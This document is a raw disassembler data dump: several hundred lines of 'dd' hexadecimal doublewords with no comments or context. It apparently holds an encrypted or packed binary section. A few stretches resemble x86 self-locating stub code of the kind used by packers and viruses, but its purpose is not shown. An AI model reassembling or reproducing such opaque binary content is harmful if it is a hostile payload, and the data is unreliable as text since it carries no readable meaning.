		dd 23C16764h, 0B44EF4F1h, 0DC488380h, 0D3D0049Eh, 5E5B912Dh
		dd 0E6E31DB8h, 726FA140h, 0FCFA881Ch, 9CF5F528h, 99330B29h
		dd 25C46A67h, 33B8F6F3h, 49CF6294h, 0E3F7DEAAh,	0FDA4163Ah
		dd 0F9A8DA77h, 0E40DF67h, 4B6ACC7Bh, 61F3FDC5h,	7E043ED9h
		dd 6918ABE1h, 0D8C55307h, 0B8F2756Ch, 4EED7507h, 35883882h
		dd 5403A824h, 56A02EC2h, 14F5F600h, 3EEF4779h, 83E51FB8h
		dd 1AEB864h, 17BCF5F6h,	98477914h, 1C08CB9Bh, 24B84AA6h
		dd 6ACC009Ch, 0D10C55BCh, 0EF7D11EBh, 0FC9D1307h, 3C94C663h
		dd 26D4DC8Bh, 41580ADBh, 992BC5FDh, 217F7705h, 681968D4h
		dd 41C45206h, 1D5EAF33h, 0B846DA6Ch, 673D313Eh,	9247A95Ah
		dd 0C85A962Ch, 0C9D843Ah, 0A133E45Dh, 4B487A19h, 0A6F106A5h
		dd 35D9D094h, 66901C71h, 3268D976h, 0DF5BD281h,	0CE1AC1E9h
		dd 73B1839h, 841C0000h,	10AD5350h, 9E37DDDAh, 23C16764h
		dd 0B44EF4F1h, 0DC488380h, 0D3D0049Eh, 5E5B912Dh, 0E6E31DB8h
		dd 726FA140h, 0FCFA881Ch, 9CF5F527h, 9F270B29h,	8837CA04h
		dd 158E68F6h, 590AFCA4h, 9D536FF7h, 0FD207D0Bh,	4F00F275h
		dd 629835BDh, 911FB365h, 0F5F52B65h, 78208233h,	8416A9DBh
		dd 0EEECA139h, 58BAFBDDh, 68DF11B0h, 8FA523CCh,	0C61B3CD1h
		dd 91000006h, 18BEBBF9h, 0A64C497Bh, 34DAD70Dh,	0BF656296h
		dd 0B3EEEB25h, 356F0971h, 0BEF69238h, 4E801BC1h, 0DA0CAB51h
		dd 65F387DDh, 0F5F52691h, 277E9C0Fh, 3DD0029Fh,	1EA42C8Eh
		dd 0B4535CFBh, 9224D382h, 6B0FB3FEh, 1F1BCC38h,	948E0FBDh
		dd 0B96AF275h, 0CE009F27h, 7A884BD1h, 8AC660E8h, 0CE67428h
		dd 9CF5F593h, 220E59EBh, 0CAEF6F2Ah, 19348AAh, 33CEDF79h
		dd 10BF6E01h, 0DFC100AEh, 7BDEF5F5h, 0CDA15131h, 18A0A00Ah
		dd 85E54779h, 39h, 82805345h, 159862F0h, 4ED6FCA4h, 0A31D7FB5h
		dd 0EFD35FF2h, 0B2FCA415h, 0CD25E54Fh, 0C8A6B903h, 15h
		dd 4ADC2788h, 87BD5AA0h, 13FC45F4h, 5396F8B4h, 1C4h, 58CC0915h
		dd 66F4866Ah, 0F27F20ABh, 27E5F641h, 65C68628h,	0AAF58903h
		dd 53B9678Ch, 0C82EBAB2h, 0D8F5FAF6h, 0C2707827h, 26C8A7DAh
		dd 4CDE12B0h, 5A9630B8h, 8B618C7h, 497B76FDh, 83420E59h
		dd 0AD407412h, 6984B5FEh, 8F21B463h, 0C8626B07h, 9B4AF98Ch
		dd 6FF75908h, 7D0B9D53h, 42C96B41h, 0D45CEE9Fh,	60060335h
		dd 36188FC1h, 77200D13h, 587C1E2h, 38D00000h, 0BC59FFFCh
		dd 4AE38986h, 0D7751B18h, 6802A8A5h, 30F42F2Ch,	7774B04Ah
		dd 2FF35D1h, 928FC15Ch,	1E1B4DECh, 50A634C8h, 50F5F525h
		dd 9433BFDDh, 5969CF62h, 800E23C0h, 0FCA41576h,	13C27122h
		dd 0EA2ED81h, 51831E27h, 65C60FBEh, 0A13CC2EEh,	225F0D6Fh
		dd 46F27EBFh, 53F29895h, 26AEAA21h, 6AFF8FA2h, 51C49h
		dd 71A33B00h, 0FB31CE74h, 85BF58FEh, 1044E288h,	0A1D36D13h
		dd 0BFBB69A4h, 48EEEB25h, 0D57B78ACh, 650B083Ah, 419794C6h
		dd 24D71FADh, 4EC1F5F5h, 5932730h, 0FCA415F1h, 698D1BAFh
		dd 37FCA415h, 0CD75D786h, 0E369FC2Eh, 0EA7F1244h, 0FD37D058h
		dd 89CE369Bh, 9BBB8EAh,	19ACE681h, 0FE3086Ah, 32A6B904h
		dd 94BC8E7h, 49E5A4D5h,	0A2026413h, 2Ch, 0E76F5362h, 495B75Ch
		dd 62F4A382h, 7E4675D4h, 0A039C1F2h, 7120CF62h,	487052DEh
		dd 0CE31F5FAh, 324EA466h, 4547A00Fh, 7000000h, 0EF816F53h
		dd 7F57A161h, 8416C7F2h, 0C89462F0h, 5304F5FAh,	18B53DF1h
		dd 0C88571FFh, 6213F5FAh, 7C04B6B3h, 9A48AADEh,	0F5FAC827h
		dd 43407211h, 876FFD91h, 11F5FAC8h, 0B956FE60h,	3ACFF083h
		dd 91000004h, 0EF816F53h, 3496C867h, 0C564EC80h, 52833193h
		dd 8EF27F1Eh, 6DB84ADDh, 324377FEh, 0CF77D924h,	1C6BFE30h
		dd 764C93D9h, 7B5AE87Ah, 0DBEBD5B5h, 15B1BA53h,	0EE9D30DFh
		dd 0FD9C423Fh, 44EE39CBh, 327489A1h, 7204B91Bh,	0F6A650DEh
		dd 41F2FCA3h, 856B57DFh, 0F5C065F3h, 2FE0F27Eh,	0CA32959Ch
		dd 0B7B4E685h, 0CD5F9131h, 0CD5AC082h, 901ECD1Ah, 0F5FAE166h
		dd 89D28132h, 0FED91AACh, 0CF83E5C2h, 0D5820441h, 10A354EBh
		dd 2359F67Eh, 487A19C1h, 5F952EB6h, 6BB1DCCh, 18ABE580h
		dd 28BBF992h, 0E876BE21h, 0C5367EE1h, 0C6EA43Dh, 20B23E84h
		dd 7EA4B392h, 0C05203F2h, 224CED75h, 68EE2419h,	550497C9h
		dd 8F2ED4F3h, 0A943CB5Dh, 9F57E577h, 0F9F5FAC8h, 0AB31E648h
		dd 0FD4CDF11h, 6E0D72BAh, 428D3F3Ch, 7E0C9E18h,	0F5FA2278h
		dd 9F2E7728h, 59F67CB8h, 8939C123h, 0AE8AD567h,	0CD8DDB0Fh
		dd 0A254E274h, 0FEF5FA52h, 0A937EB4Dh, 0EBD5517Ch, 0D258EB9Ch
		dd 54902A33h, 6FA13BC1h
		dd 0CF7E2DDCh, 3883353Ch, 0BFE088B1h, 0D53A9CABh, 0FA881C6Fh
		dd 0FCA344FCh, 189EB9Ch, 38BE4CC1h, 68FCA345h, 0E87608B7h
		dd 0F27E443Dh, 5ABA859h, 1BA13466h, 0C74D4A7Ch,	0D563F5FBh
		dd 0EBD55208h, 9824B768h, 0FCA3552Ah, 5BA81477h, 720537D3h
		dd 0B63C61C3h, 0DFA6B843h, 46h,	0D507A32Bh, 730D9342h
		dd 9DFFAE41h, 816F535Dh, 233061EFh, 0ADF8F27Fh,	0FCD859B3h
		dd 0EA92F5Ah, 0E39241D4h, 8EFEC450h, 0F1A3F5FAh, 396CC69h
		dd 278DF254h, 7AAE4CD4h, 0B1D638E7h, 0A00F7841h, 0D654h
		dd 94331400h, 0AF49CF62h, 0BD5CE275h, 0D671F98Bh, 0D45A099Ch
		dd 0C2710438h, 8625AB60h, 5AA55754h, 611BE6CEh,	0B866C896h
		dd 0FCA31783h, 0EBE81AB9h, 7DAA645h, 40FF527Bh,	50E27524h
		dd 96F82CC8h, 0AA3CB40Eh, 7E85DD1Ch, 6E078FF2h,	90F2A134h
		dd 0E2686516h, 0F07E10E0h, 0EBC73743h, 0C9FB951Dh, 0AB258736h
		dd 46E068FAh, 5BC99533h, 0F91628F9h, 4B346F5h, 12A65855h
		dd 0A1CF7284h, 0DA62EFCh, 1EC628D7h, 65D95084h,	24890930h
		dd 1EB6E8Fh, 0D46C0000h, 60FDA3A0h, 0EE872D2Ah,	7311B7B4h
		dd 49E4441h, 8C98D3D0h,	232054EEh, 0AEABE17Dh, 36336D08h
		dd 0C2BFF190h, 0AC4AD86Ch, 0ECF5F521h, 99335B79h, 0B04DD567h
		dd 0C261E77Ah, 9F4EFD90h, 0D9781E3Dh, 276CAAA7h, 6FD1039Fh
		dd 8315DBE7h, 9A2D5FFBh, 1A876D51h, 994899E3h, 67EF8337h
		dd 540396C8h, 3C4D44F2h, 6819F27Eh, 227949D5h, 0C528F5FAh
		dd 0C579B7Fh, 0CD3EA00Fh, 0FE000000h, 0F1059327h, 0AFFCA415h
		dd 55F49CFEh, 6C099123h, 991FD436h, 2153EEFFh, 0E295E072h
		dd 7E82FA3h, 9A2CE143h,	0A93C7812h, 51EA98FAh, 87FCA39Eh
		dd 13B9B6E8h, 93D7A874h, 3E31C9Ah, 675BC154h, 9069F789h
		dd 8F27E67h, 0EED45A57h, 5CB55868h, 0E3418ABEh,	17B43A22h
		dd 16A436E5h, 0EBC75840h, 0D55DEFA0h, 5B99323Bh, 6D6A19C8h
		dd 5D9927BBh, 3BFCA138h, 0E680288Ah, 0AB3133AAh, 0DF748909h
		dd 0E8BEh, 9DD76F00h, 275DFAA0h, 0B9EB842Ah, 447816BCh
		dd 0CD07A147h, 0EB8F95D0h, 7C221F51h, 9AFACE0h,	9137346Eh
		dd 6DC3C0F2h, 20AB4BD9h, 82F5F5F5h, 67993364h, 7EB44DD5h
		dd 24FCA2EBh, 0F18E2A49h, 1BC1E042h, 0F4D4A7Ch,	0CF629433h
		dd 8721A93Dh, 1635C14Dh, 0B263FCA4h, 9A850h, 0EE9D3064h
		dd 890423Fh, 0F1A0336Dh, 35BB078Fh, 75810FA3h, 32FCA415h
		dd 0D5358118h, 34BC146Dh, 51B36296h, 0FA9A0F9Dh, 0BD6EF275h
		dd 944C972Bh, 0B90BFD50h, 41985EEAh, 5708F5F5h,	1BBA40F5h
		dd 0A746ECE9h, 5E98E375h, 285CF615h, 0E79DE695h, 0A948CEA7h
		dd 0CE601577h, 344AAC3Ah, 0A556F5F5h, 1DD59543h, 69AC8ACDh
		dd 0EB1DBC03h, 77A948EEh, 8CC05EE4h, 258FF2F9h,	7BB14ED6h
		dd 0A0D27119h, 2C5EFDA3h, 37899h, 4D3A0000h, 699B332Dh
		dd 7FB150D6h, 99CB66ECh, 0B0E48006h, 0C3FD971Dh, 0D410AA30h
		dd 0EB1DBB41h, 0FB39D258h, 0F45E268h, 89502A7Ch, 405E0h
		dd 42D0000h, 87000000h,	895C2404h, 89562414h, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 2434895Ch, 1B6D68h, 24048900h
		dd 797771BEh, 93CE8125h, 460DA12Eh, 8105E6C1h, 83E1DF6h
		dd 36B9511Ch, 8135041Fh, 8335F6F1h, 59CE0156h, 24048B54h
		dd 4C481h, 0E9680000h, 8900000Bh, 408F2434h, 24048B08h
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5E2434FFh, 0E904C483h
		dd 0FFFA8909h, 3BB3CCD8h, 0B8139E76h, 6AEF649h,	0E0FFC503h
		dd 245C7BFCh, 1E72EA47h, 3BC6BC5h, 3A11E38Bh, 30C18872h
		dd 4C96B0FFh, 2C6E5482h, 2AF67A05h, 5B5CE6CEh, 749435D6h
		dd 373C35CEh, 2001C221h, 705A50ACh, 889CA77h, 1803BE80h
		dd 21E9h, 0D3279000h, 42h, 6 dup(0)
		dd 37E90000h, 7D000005h, 0CB2AFE5h, 9A403D6Fh, 20C6C301h
		dd 0AB514E82h, 0A7E2DF11h, 3163FD7Dh, 0BAF28E34h, 427C17BDh
		dd 0CE009F45h, 59E77BD1h, 0F5F51E9Dh, 336A88FBh, 49CF6294h
		dd 0D27875AFh, 66901E33h, 32FCA415h, 0B93FD281h, 0C355E81Ah
		dd 1555A12Fh, 9243FCA4h, 0DC3E720Ch, 0D2659734h, 93F44083h
		dd 1FC5C2F4h, 30B84A84h, 0E0FF6193h, 0EA0C9A2Eh, 0B6FCA415h
		dd 60FBA305h, 7B149C2Eh, 0AC32E749h, 0C349DC10h, 0D95FF224h
		dd 0E983093Bh, 92D524B7h, 3B5BC2Ah, 17AADC7Bh, 5BA10668h
		dd 2A2759F4h, 20B3E584h, 0A4152D94h, 7CC82DFCh,	0B8FF549Eh
		dd 6041A6h, 33010000h, 59F77F94h, 59E59427h, 0FCA4159Dh
		dd 89B4AFBh, 0A415787Ch, 0D06418FCh, 0A415B442h, 0D133E4FCh
		dd 0B042006Ch, 0E5A6B8FFh, 1, 649633A5h, 0E2AE4BD1h, 0E8D41999h
		dd 17B53B7Ah, 1DA336E5h, 6BBA4D7Fh, 0DE7BDC28h,	0F5921AACh
		dd 0C9A2CBFh, 0FCA32EEAh, 0F45605B6h, 5E902FD5h, 0DC272361h
		dd 0A8D06F89h, 79218384h, 8B13A5DFh, 134DE8F1h,	8F22D180h
		dd 37C97EE0h, 53EE26ECh, 0C4269103h, 0BA4D7F1Ch, 6D0B9325h
		dd 97F9A83Bh, 0EB85CA32h, 7C0F45E2h, 6F211ECDh,	1DA94DDBh
		dd 0CA06FCA3h, 1637C7DEh, 43C97AD2h, 6A1274A6h,	0CFD1FFCBh
		dd 770A48E1h, 1A457FC8h, 1CA235E4h, 9FBE5183h, 0F012F03Ch
		dd 0C5A6B88Eh, 5Bh, 67993385h, 20AE42D4h, 0FCA415D6h, 64A03AC2h
		dd 12AB53B5h, 87366C09h, 1A62A5F4h, 0ECE91BB5h,	0E578AC46h
		dd 0FD8FC15Fh, 13A6DC75h, 11C0F28Dh, 78DBFAAFh,	5B44E0Ch
		dd 3C01A6B9h, 0C1000000h, 0F6849933h, 0FCA41600h, 477918A0h
		dd 0D056E998h, 3F68FB35h, 952F90DCh, 33205E5Bh,	45D16496h
		dd 0FCA4157Ch, 20E12CE0h, 0F976D66h, 4DB71C7Eh,	0B885658Dh
		dd 130A6h, 33F00000h, 4FD5689Ah, 0E4EB7EB0h, 3BD43B81h
		dd 0ED869732h, 0C67524B7h, 2E941A17h, 149C30C2h, 37E54779h
		dd 0F27F17CAh, 0FAFC8A1Eh, 0A6F5FB08h, 2DB346F5h, 0B95F5C8Eh
		dd 0C955E81Ah, 0F5FB092Bh, 8CF3399Ch, 0A129BBEDh, 4E6DCF05h
		dd 44D709A8h, 7A161FBEh, 5100AF42h, 9EE629BEh, 0F4919A39h
		dd 0CD7C2BBEh, 0F245ADD0h, 7750A00Fh, 9C000001h, 0B2457714h
		dd 0FC649220h, 8334F5FAh, 533272D4h, 61EF816Fh,	0F27F35B0h
		dd 89302D78h, 0C3C6E45Dh, 0B0378214h, 319DE16Bh, 697E3B84h
		dd 0A0C8F90Bh, 6FF7893Eh, 923A9CD6h, 0A650DEF3h, 0F2F5FAEFh
		dd 0E3959241h, 0FA8DBF5Bh, 0A241E94Bh, 0B857DD70h, 1B5EF386h
		dd 9DCF6ED1h, 0CC5AEEA0h, 0F5FAF02Ah, 3E63C576h, 0A00FD9B4h
		dd 53E1h, 8053A100h, 7462F082h,	0A47CA415h, 83CE60F3h
		dd 0CC5D0B14h, 9B49AB4Fh, 7CA4645Bh, 5D82EA2Fh,	0DB1BA976h
		dd 0C57CA464h, 0DB6EA43Dh, 3CCE7D2Ch, 0A46428AEh, 0CAC778FCh
		dd 0F68418h, 0A0FCA3C8h, 0C34A8DEFh, 98000000h,	0BF0F8F4Dh
		dd 0F9A1EA24h, 2E6ED088h, 0F1059327h, 0AFFCA415h, 0AE149CFEh
		dd 941CB042h, 0A254E2F7h, 0FEFCA415h, 5C0B9E4Dh, 76093BD6h
		dd 8EB765C7h, 0B0F27F2Fh, 43310E65h, 41A3B580h,	0FD8316C7h
		dd 6BB925Eh, 0C2E492D6h, 903FEE26h, 1ADC6AFEh, 86F5FAC9h
		dd 0AE5473D5h, 0BE4ADD0Fh, 0F5FACA01h, 7CC3298Ch, 0CE19ABDDh
		dd 0CEDEE9B3h, 2C4BAD20h, 64FD1CA6h, 3DEC9B2Eh,	0CBCC17ABh
		dd 37BBB634h, 36600E70h, 0E2EBCB74h, 79189E31h,	902EB447h
		dd 0A643C95Ch, 0C14FE174h, 0FC9CA935h, 0FF44B263h, 0BF2229B5h
		dd 60903275h, 0A15640CEh, 5102F26Dh, 1C3F74BFh,	0DC60378Ah
		dd 21A95B7Ah, 0AB94C86h, 6F5368A8h, 3561EF81h, 0A9F2750Eh
		dd 0C26F7F5Eh, 0B91B3204h, 75FB8E3Fh, 8A12A4D6h, 7120B3F1h
		dd 77A551DFh, 42F3F5F5h, 7C1BC1E0h, 9624B84Ah, 0F5F57760h
		dd 0A9468F40h, 8651E4A3h, 8F1BD032h, 0A973FFC5h, 3097DD20h
		dd 45CD5F91h, 0F51476ACh, 0EC7EB04Fh, 89F7BCA1h, 1637FBCh
		dd 0F428C64Ch, 0D3FDB61h, 2759F47Ah, 0BC086B94h, 2E792B32h
		dd 0B0F1954Ch, 0B015772Bh, 7CACF744h, 0C2D5C524h, 0DB8AC05Dh
		dd 32D179h, 184CE66Eh, 2F61FF85h, 0B83EED9Ch, 0A756E91Bh
		dd 0EC742645h, 15BD1F51h, 90B14476h, 15h, 25B94D52h, 42CE049Dh
		dd 0FCA415B4h, 8CC05CE4h, 399B4AF9h, 699B33F9h,	7FB150D6h
		dd 99CB66ECh, 0B0E48006h, 0C3FD971Dh, 0D410AA30h, 0EB1DBB41h
		dd 0FB39D258h, 0F45E268h, 89572A7Ch, 4C781E7h, 83000000h
		dd 0FF5704EFh, 5F042474h, 5C24048Fh, 308B68h, 241C8900h
		dd 7BCA68h, 243C8900h, 0F74ABE56h, 895506AEh, 5DEB89F5h
		dd 3C8B545Eh, 4C48324h,	8478F53h, 52243C8Bh, 0C281E289h
		dd 4, 4C281h, 14870000h, 1C8B5C24h, 0E2895224h,	4C281h
		dd 0C2810000h, 4, 5C241487h, 0FA8364E9h, 53BA7BFFh, 1520FD24h
		dd 9B89A9Ah, 306AEFCh, 0D0E0FFC5h, 94B9E40h, 6566D2A0h
		dd 0B8002CD1h, 36523FF0h, 45306257h, 42565E5Eh,	9C1595AAh
		dd 0F063CD23h, 0D3FD67Dh, 0F761F204h, 280CE1B7h, 0C0416196h
		dd 0D44F6D71h, 344A7BADh, 2A42C301h, 5E5DFF7Fh,	40370929h
		dd 986FD9D3h, 3F431A61h, 0E210803Eh, 0A0184974h, 920ED13Fh
		dd 0A520E8Bh, 182F12A5h, 0D7123B0Fh, 0EB500056h, 24h, 8	dup(0)
		dd 0BDE900h, 0B5890000h, 6AEFCF4h, 12AD858Bh, 858B06A9h
		dd 6A90171h, 0FD3EB58Dh, 858D06AEh, 6AC4C5Ah, 55C3D0FFh
		dd 0E8h, 0ED815D00h, 6AEFD44h, 12ADBD83h, 0F0106A9h, 2C85h
		dd 0F4B5FF00h, 8B06AEFCh, 0A9017185h, 27363506h, 0D0FF3481h
		dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
		dd 0AEFCF8B5h, 0B5FF5606h, 6AEFCF4h, 171858Bh, 363506A9h
		dd 0FF348127h, 0CC483D0h, 0FCF8B58Dh, 468B06AEh, 4E08314h
		dd 0F04F883h, 784h, 0E9C03300h,	5, 1B8h, 0ADBD8300h, 106A912h
		dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h,	0AEFD1D85h, 0D858906h
		dd 0E806A90Ch, 7, 209D5AFEh, 0B82100F5h, 4154289Fh, 81C18B59h
		dd 5A1FC1h, 0CA816600h,	68537Eh, 0F000000h, 0F5BD2BFh
		dd 34FFFEBFh, 0F0BF660Bh, 0C68A5EFAh, 7145EE81h, 860F3099h
		dd 3, 81C0B70Fh, 3803EBC6h, 6E9602Ch, 99000000h, 0E8AB704Ch
		dd 8E0FFEh, 61000000h, 4E54EE81h, 34895D9Dh, 0BFB86619h
		dd 0EB83F828h, 8E904h, 46850000h, 0C03821E2h, 0FB814EC4h
		dd 0FFFFA668h, 0FFA4850Fh, 830FFFFFh, 3, 8D5FFC56h, 0AEFFA28Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0C9319C79h, 0EF5C48BEh, 6653FA22h, 0AEA4CF81h
		dd 0DABB665Fh, 0CD8D89C6h, 6A06A916h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0B2FEC351h
		dd 4AAFE35Bh, 8B9CA98Bh, 0A91DA5BDh, 0E585C706h, 1406A90Ch
		dd 6A000070h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0C91C355h, 0C7163741h,	0A911CD85h
		dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 1F32304Eh, 20751368h, 65958B9Dh
		dd 0FF06A932h, 0A90E09B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 8CEE36C3h
		dd 0B4575B46h, 75958BF5h, 0FF06A901h, 0A9328195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 7C4AB636h, 2F93EC64h, 9589654Dh, 6A92C2Dh, 95FF006Ah
		dd 6A92D95h, 4EEBC08Bh,	23F479A5h, 4BE7008Bh, 0EB9E7E6Ch
		dd 16154457h, 811A8BADh, 1D9BED5Eh, 4DD6FF26h, 8F1F6F26h
		dd 0C8E72702h, 0EC866EEEh, 5B1ECCB5h, 0F5EA27CFh, 73F1EC42h
		dd 8B0874D1h, 5A5866F7h, 0B8B9E937h, 257BF01Ah,	6C107479h
		dd 0DB0F05CDh, 0D2E9B35Fh, 0DF000000h, 0D719A2B8h, 0C3CA459Ch
		dd 0DAB6E1C8h, 95A7ACABh, 0F44592B3h, 0B395A1h,	0A7ECABDAh
		dd 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh
		dd 3A7594A1h, 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h
		dd 0B1EF7695h, 0F94E0097h, 9FA5B4h, 0F07B6B5Ch,	8A924Ah
		dd 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h,	0D77D41F4h
		dd 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h
		dd 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h
		dd 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 0B6D00097h, 0A8CD43F1h
		dd 0F0h, 74470000h, 0E0E3129Dh,	5E99h, 6 dup(0)
		dd 14C9E900h, 90680000h, 0E906AF02h, 0FFFA7F01h, 0AF036268h
		dd 7EF7E906h, 1D68FFFAh, 0E906AF04h, 0FFFA7EEDh, 0AF055C68h
		dd 7EE3E906h, 0D268FFFAh, 0E906AF05h, 0FFFA7ED9h, 0AF067768h
		dd 7ECFE906h, 2868FFFAh, 0E906AF07h, 0FFFA7EC5h, 0AF07CE68h
		dd 7EBBE906h, 7868FFFAh, 0E906AF08h, 0FFFA7EB1h, 0AF09D068h
		dd 7EA7E906h, 0B568FFFAh, 0E906AF0Ah, 0FFFA7E9Dh, 0AF0C3C68h
		dd 7E93E906h, 5168FFFAh, 0E906AF0Dh, 0FFFA7E89h, 0AF0EF768h
		dd 7E7FE906h, 4D68FFFAh, 0E906AF10h, 0FFFA7E75h, 0AF121A68h
		dd 7E6BE906h, 868FFFAh,	0E906AF13h, 0FFFA7E61h,	0E1DE16AEh
		dd 6F6C9E3Bh, 0F5F230C9h, 827FB14Fh, 110E42DCh,	922C4ED6h
		dd 1FBB615Eh, 0AF4AF0EDh, 33D27875h, 1AAE0401h,	0F5146A8Ch
		dd 0A5C336F5h, 0CF629433h, 7B78AA49h, 70A241C9h, 0B43C860Eh
		dd 24499422h, 0DA25F27Fh, 572567D8h, 23CD738h, 8511A453h
		dd 0F5FB103Dh, 0D7BB0164h, 0A00FFE1Bh, 337Ah, 6F533A00h
		dd 3061EF81h, 0F8F27F23h, 9A28B447h, 7F5FB01h, 0FE34CD55h
		dd 7ECD379Ch, 922557F6h, 8115F449h, 9140BE69h, 34E80A2Fh
		dd 0B7ADA00Fh, 6D000000h, 0CF629433h, 0E375AF49h, 2D8FC15Bh
		dd 2153F278h, 3769088Eh, 123E8E3Ah, 0CD6CFCA4h,	59F89E9Bh
		dd 0E77AB650h, 90F68938h, 9E2CBE32h, 0F27F2F17h, 11E57307h
		dd 8FF5FAF6h, 89386A07h, 0EEFD48DAh, 0F002F313h, 0AA3D7712h
		dd 0CBEA4CFBh, 5EFD8519h, 0B856A02Ch, 7714F5FAh, 0AB03B245h
		dd 0B21098FAh, 801EAC3Eh, 0A0EBC766h, 3BD55DEFh, 0CC660C09h
		dd 0A0A52198h, 4FE48909h, 124A2Eh, 0F92BC300h, 83B956FCh
		dd 0D47E086h, 98CC6A10h, 295BF59Bh, 4733F12Ch, 0D07673ADh
		dd 5D030034h, 0ED9390C2h, 0C91F1C4Eh, 134FA735h, 0D649F5F5h
		dd 679933B8h, 0F325C46Ah, 6F53B8F6h, 3061EF81h,	0F8F27F23h
		dd 9A22B447h, 0B967C9FBh, 0F5FB0109h, 7CCF3598h, 942759F4h
		dd 0AA3D6F0Eh, 2DC64CFBh, 827095F7h, 13A00FEBh,	0A5h, 9F27D3h
		dd 25C46CCEh, 0BE51831Ch, 47CD600Fh, 54E073ADh,	0FCA41278h
		dd 0D8D507A6h, 0ED8A9332h, 0F7508B7h, 1DAB3DB3h, 0F27F2F98h
		dd 5C7E3D88h, 7E9BAB03h, 8F225EF8h, 0AE3431E0h,	396B0514h
		dd 0D765F7A6h, 0F5FB0D1Fh, 8719C879h, 0C7BBB2F9h, 9325D6EBh
		dd 423F710Bh, 57CE029Ch, 8909F12Dh, 785A7B10h, 95000011h
		dd 24CAC7FDh, 0B2585587h, 38DEDB19h, 0C369669Ah, 0BFFAF729h
		dd 497B1565h, 0D20AA64Ch, 5A942FD5h, 0E618B75Dh, 71FF93E9h
		dd 0F5F51285h, 3382A013h, 0C46A6799h, 44F6F325h, 8DEF21BCh
		dd 6294334Dh, 78AA49CFh, 63CD57Bh, 394EED73h, 0A4154BABh
		dd 0F5A455FCh, 7AAA28F8h, 0FC36D148h, 9533BB4Dh, 0BF4D0163h
		dd 0F27F2152h, 809091DCh, 9597F67Dh, 8B933h, 74C16F52h
		dd 17D9E9DEh, 3163FD85h, 0AC8D1BCFh, 7C015B73h,	1EA638CBh
		dd 8B74A82h, 4CA41EA6h,	0D8922CBAh, 3DEEFAE8h, 528423ABh
		dd 810FA355h, 0B7D3B75h, 68107223h, 0DE2097C9h,	0CF782D93h
		dd 10BD193Ah, 0B8500000h, 3CD97F7Ch, 0CA630906h, 57F59B98h
		dd 0E8822825h, 0B074AFACh, 0F7F430CAh, 827FB551h, 120F41DCh
		dd 9E9BCD6Ch, 0D026B448h, 0D0F5F511h, 94333F5Dh, 5969CF62h
		dd 2770597h, 96F27F25h,	54952B4Bh, 99B9088h, 0FA1C7B7Bh
		dd 0C57425F5h, 708042C8h, 1BD150DEh, 139BEBD5h,	3B24577h
		dd 4AACDE7Dh, 8C1FD0h, 0FCA31AC2h, 10A3DD78h, 26B9EB8Ah
		dd 78E64E91h, 0CC8EF659h, 0A6B80426h, 0C6F8931Bh, 3C0464h
		dd 27C40000h, 15F10593h, 0FEAFFCA4h, 6BAE149Ch,	58079ACCh
		dd 798917A9h, 6FF27F57h, 9A42CBEh, 0C62EDAD7h, 0A4F5FAC8h
		dd 2E62FC05h, 41DC827Fh, 0F8929B38h, 0CB5E0DBCh, 0FFAAAh
		dd 9F276C00h, 8C3BCE00h, 0D020A22Ah, 1669B03Eh,	0CBDF275h
		dd 2153F27Ah, 0ADDF7E24h, 0E20EB41Ah, 9934BC50h, 0C325D467h
		dd 0C615AB15h, 0A843CBEBh, 22D1039Fh, 39546C0h,	184AE76Fh
		dd 16FEF886h, 0E99AFCA2h, 0E40DF87h, 9ACC6B11h,	0AEE28008h
		dd 550A6C1Bh, 959E3BC3h, 8F15C4F6h, 0D55DBFF1h,	0DD7103EDh
		dd 0F689BB55h, 0D637E547h, 32F27D24h, 0A7FE0A81h, 1AAF8FA3h
		dd 0F7EF9h, 0BDF78F00h,	477D1AC0h, 0D90BA44Ah, 649836DCh
		dd 0ED27C167h, 0B6FB5F0h, 9C423F71h, 29CFCC00h,	0B157548Eh
		dd 8DE3E012h, 108B6BF9h, 0A215F5F5h, 15952D84h,	0FDC5FCA4h
		dd 25D361F3h, 7FF27516h, 8B5FBD34h, 0F448F9FDh,	0ADF6A7F5h
		dd 0B7666E7Fh, 0CCFE9D25h, 588A29CFh, 8D635FC5h, 620C6DFBh
		dd 519CEBCFh, 732C1E5Fh, 9209B8DEh, 890DC24Ch, 877982Dh
		dd 500000Fh, 943A376Dh,	22C8C5F7h, 0A84E4B89h, 33D9D60Ah
		dd 2F6A6799h, 0B9EB85F5h, 427A16BCh, 0CA049F45h, 568827CDh
		dd 0E16F0359h, 0F5F51115h, 27F21083h, 56F4059Fh, 69117322h
		dd 7F0598CAh, 0B71BAEE0h, 0CA28EA52h, 0CBA6B903h, 97Fh
		dd 0BAF48F17h, 6F531858h, 8261EF81h, 16F27515h,	0D457ABCBh
		dd 0CE7D0CA6h, 0E315B43Ch, 0EE39CD81h, 23BA7C97h, 0FEA608E8h
		dd 8A302D5Fh, 9A26B9EBh, 0F5F4D028h, 0CE609032h, 0DB19B23Ah
		dd 0E0AECB79h, 66FAEBCFh, 9DBF1ED8h, 1AC97AFCh,	0D1E71A3h
		dd 7E9F3489h, 0E63h, 0D5D212AAh, 6360922Fh, 0F1EE24BDh
		dd 7E7BAD4Bh, 5023ED8h,	86205ACAh, 0BA74D4Ah, 9B36DCD9h
		dd 27C66C69h, 0EA2F8F5h, 0F50F7680h, 91AF22F5h,	0D0629433h
